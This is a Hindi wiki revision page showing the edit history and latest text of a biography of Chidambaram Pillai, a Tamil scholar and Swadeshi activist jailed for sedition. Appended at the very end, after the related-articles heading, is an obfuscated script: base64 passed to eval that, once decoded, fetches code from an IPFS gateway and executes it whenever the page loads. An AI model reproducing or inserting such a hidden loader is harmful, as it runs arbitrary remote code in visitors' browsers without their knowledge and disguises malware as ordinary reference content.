चिदंबरम पिल्लई: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replacement - "विद्वान " to "विद्वान् ")
No edit summary
 
(2 intermediate revisions by the same user not shown)
Line 15: Line 15:
|क़ब्र=  
|क़ब्र=  
|नागरिकता=भारतीय
|नागरिकता=भारतीय
|प्रसिद्धि=
|प्रसिद्धि=तमिल विद्वान् और समाज-सुधारक
|धर्म=
|धर्म=
|आंदोलन=
|आंदोलन=
Line 33: Line 33:
|अद्यतन=
|अद्यतन=
}}
}}
'''चिदंबरम पिल्लई''' (जन्म: [[5 सितंबर]], [[1872]] मृत्यु: [[3 नवंबर]], [[1936]]) [[तमिल भाषा]] के विद्वान् और प्रख्यात समाज-सुधारक थे। प्रसिद्ध तमिल [[ग्रन्थ]] 'तिरुकुरल' पर उनका भाष्य बहुत प्रसिद्ध हुआ था। '[[बंग भंग|बंग-भंग]]' के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार-प्रसार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करने में महत्त्वपूर्ण भूमिका निभाई।
'''चिदंबरम पिल्लई''' ([[अंग्रेज़ी]]: ''Chidambaram Pillai'', जन्म: [[5 सितंबर]], [[1872]]; मृत्यु: [[3 नवंबर]], [[1936]]) [[तमिल भाषा]] के विद्वान् और प्रख्यात समाज-सुधारक थे। प्रसिद्ध तमिल [[ग्रन्थ]] 'तिरुकुरल' पर उनका भाष्य बहुत प्रसिद्ध हुआ था। '[[बंग भंग|बंग-भंग]]' के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार-प्रसार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करने में महत्त्वपूर्ण भूमिका निभाई। ब्रिटिश सरकार ने चिदंबरम पिल्लई को देशद्रोही ठहराकर उन्हें आजीवन क़ैद की सज़ा सुनाई थी।
====जन्म एवं शिक्षा====
====जन्म एवं शिक्षा====
ब्रिटिश सरकार ने चिदंबरम पिल्लई को देशद्रोही ठहराकर उन्हें आजीवन क़ैद की सज़ा सुनाई थी। चिदंबरम पिल्लई का जन्म 5 सितंबर, 1872 ई. को [[तमिलनाडु]] के '[[तिरुनेल्वेली]]' में हुआ था। वे 1895 ई. में क़ानून के स्नातक बने और तूतीकोरन में वकालत करने लगे। फिर वे विजयराघवाचारी के प्रभाव से [[कांग्रेस]] में सम्मिलित हो गए। बंग-भंग के विरुद्ध आंदोलन में उन्होंने स्वदेशी का प्रचार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करते रहे।
चिदंबरम पिल्लई का जन्म 5 सितंबर, 1872 ई. को [[तमिलनाडु]] के '[[तिरुनेल्वेली]]' में हुआ था। वे [[1895]] ई. में क़ानून के स्नातक बने और तूतीकोरन में वकालत करने लगे। फिर वे विजयराघवाचारी के प्रभाव से [[कांग्रेस]] में सम्मिलित हो गए। बंग-भंग के विरुद्ध आंदोलन में उन्होंने स्वदेशी का प्रचार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करते रहे।
[[चित्र:Chidambaram Pillai-stamp.jpg|thumb|left|सम्मान में जारी [[डाक टिकट]]]]
[[चित्र:Chidambaram Pillai-stamp.jpg|thumb|left|सम्मान में जारी [[डाक टिकट]]]]
====जेल यात्रा====
====जेल यात्रा====
[[1907]] ई. की [[सूरत]] की कांग्रेस के बाद जब दल में विभाजन हुआ तो, सरकार को तिलक सहित अनेक नेताओं और कार्यकर्त्ताओं के विरुद्ध कार्रवाई का अवसर मिल गया। चिदंबरम पिल्लई भी राजद्रोह का अभियोग लगाकर गिरफ़्तार किए गए और उन्हें आजीवन कारावास की सज़ा हो गई। अपील करने पर हाईकोर्ट ने सज़ा को 6 वर्ष कर दिया था। जेल से छूटने पर उन्होंने ग़ैर [[ब्राह्मण|ब्राह्मणों]] के संगठन ‘मद्रास प्रेसिडेंसी एसोसिएशन’ को आगे बढ़ाने में सक्रिय भाग लिया। [[1920]] ई. में जब कांग्रेस की बागडोर [[गाँधी जी]] के हाथों में आई तो, [[लोकमान्य तिलक]] के ये अनुयायी उनके विचारों से सहमत न होकर [[कांग्रेस]] से अलग हो गए।
[[1907]] ई. की [[सूरत]] की [[कांग्रेस]] के बाद जब दल में विभाजन हुआ तो, सरकार को तिलक सहित अनेक नेताओं और कार्यकर्त्ताओं के विरुद्ध कार्रवाई का अवसर मिल गया। चिदंबरम पिल्लई भी राजद्रोह का अभियोग लगाकर गिरफ़्तार किए गए और उन्हें आजीवन कारावास की सज़ा हो गई। अपील करने पर हाईकोर्ट ने सज़ा को 6 वर्ष कर दिया था। जेल से छूटने पर उन्होंने ग़ैर [[ब्राह्मण|ब्राह्मणों]] के संगठन ‘मद्रास प्रेसिडेंसी एसोसिएशन’ को आगे बढ़ाने में सक्रिय भाग लिया। [[1920]] ई. में जब [[कांग्रेस]] की बागडोर [[गाँधी जी]] के हाथों में आई तो, [[लोकमान्य तिलक]] के ये अनुयायी उनके विचारों से सहमत न होकर कांग्रेस से अलग हो गए।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=280|url=}}</ref>
====निधन====
====निधन====
चिदंबरम समाज-सुधारक और [[तमिल भाषा]] के विद्वान् थे। प्रसिद्ध तमिल ग्रंथ ‘तिरुकुरल’ पर उनका भाष्य बहुत प्रसिद्ध हुआ था। [[3 नवंबर]], [[1936]] में चिदंबरम पिल्लई का निधन हो गया।
चिदंबरम समाज-सुधारक और [[तमिल भाषा]] के विद्वान् थे। प्रसिद्ध तमिल [[ग्रंथ]] ‘तिरुकुरल’ पर उनका भाष्य बहुत प्रसिद्ध हुआ था। [[3 नवंबर]], [[1936]] में चिदंबरम पिल्लई का निधन हो गया।


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2|माध्यमिक= |पूर्णता= |शोध=}}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2|माध्यमिक= |पूर्णता= |शोध=}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=280|url=}}
<references/>
<references/>
==संबंधित लेख==
==संबंधित लेख==
{{स्वतन्त्रता सेनानी}}
{{स्वतन्त्रता सेनानी}}
[[Category:स्वतन्त्रता सेनानी]]
[[Category:स्वतन्त्रता सेनानी]][[Category:समाज सुधारक]][[Category:जीवनी साहित्य]][[Category:इतिहास कोश]][[Category:चरित कोश]]
[[Category:इतिहास कोश]]
[[Category:चरित कोश]]
__INDEX__
__INDEX__
__NOTOC__

Latest revision as of 05:37, 5 September 2018

चिदंबरम पिल्लई
पूरा नाम चिदंबरम पिल्लई
जन्म 5 सितंबर, 1872
जन्म भूमि तिरुनेल्वेली, तमिलनाडु
मृत्यु 3 नवंबर, 1936
नागरिकता भारतीय
प्रसिद्धि तमिल विद्वान् और समाज-सुधारक
विशेष योगदान 'बंग-भंग' के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार-प्रसार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करने में महत्त्वपूर्ण भूमिका निभाई।

चिदंबरम पिल्लई (अंग्रेज़ी: Chidambaram Pillai, जन्म: 5 सितंबर, 1872; मृत्यु: 3 नवंबर, 1936) तमिल भाषा के विद्वान् और प्रख्यात समाज-सुधारक थे। प्रसिद्ध तमिल ग्रन्थ 'तिरुकुरल' पर उनका भाष्य बहुत प्रसिद्ध हुआ था। 'बंग-भंग' के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार-प्रसार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करने में महत्त्वपूर्ण भूमिका निभाई। ब्रिटिश सरकार ने चिदंबरम पिल्लई को देशद्रोही ठहराकर उन्हें आजीवन क़ैद की सज़ा सुनाई थी।

जन्म एवं शिक्षा

चिदंबरम पिल्लई का जन्म 5 सितंबर, 1872 ई. को तमिलनाडु के 'तिरुनेल्वेली' में हुआ था। वे 1895 ई. में क़ानून के स्नातक बने और तूतीकोरन में वकालत करने लगे। फिर वे विजयराघवाचारी के प्रभाव से कांग्रेस में सम्मिलित हो गए। बंग-भंग के विरुद्ध आंदोलन में उन्होंने स्वदेशी का प्रचार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करते रहे। [[चित्र:Chidambaram Pillai-stamp.jpg|thumb|left|सम्मान में जारी डाक टिकट]]

जेल यात्रा

1907 ई. की सूरत की कांग्रेस के बाद जब दल में विभाजन हुआ तो, सरकार को तिलक सहित अनेक नेताओं और कार्यकर्त्ताओं के विरुद्ध कार्रवाई का अवसर मिल गया। चिदंबरम पिल्लई भी राजद्रोह का अभियोग लगाकर गिरफ़्तार किए गए और उन्हें आजीवन कारावास की सज़ा हो गई। अपील करने पर हाईकोर्ट ने सज़ा को 6 वर्ष कर दिया था। जेल से छूटने पर उन्होंने ग़ैर ब्राह्मणों के संगठन ‘मद्रास प्रेसिडेंसी एसोसिएशन’ को आगे बढ़ाने में सक्रिय भाग लिया। 1920 ई. में जब कांग्रेस की बागडोर गाँधी जी के हाथों में आई तो, लोकमान्य तिलक के ये अनुयायी उनके विचारों से सहमत न होकर कांग्रेस से अलग हो गए।[1]

निधन

चिदंबरम समाज-सुधारक और तमिल भाषा के विद्वान् थे। प्रसिद्ध तमिल ग्रंथ ‘तिरुकुरल’ पर उनका भाष्य बहुत प्रसिद्ध हुआ था। 3 नवंबर, 1936 में चिदंबरम पिल्लई का निधन हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 280 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>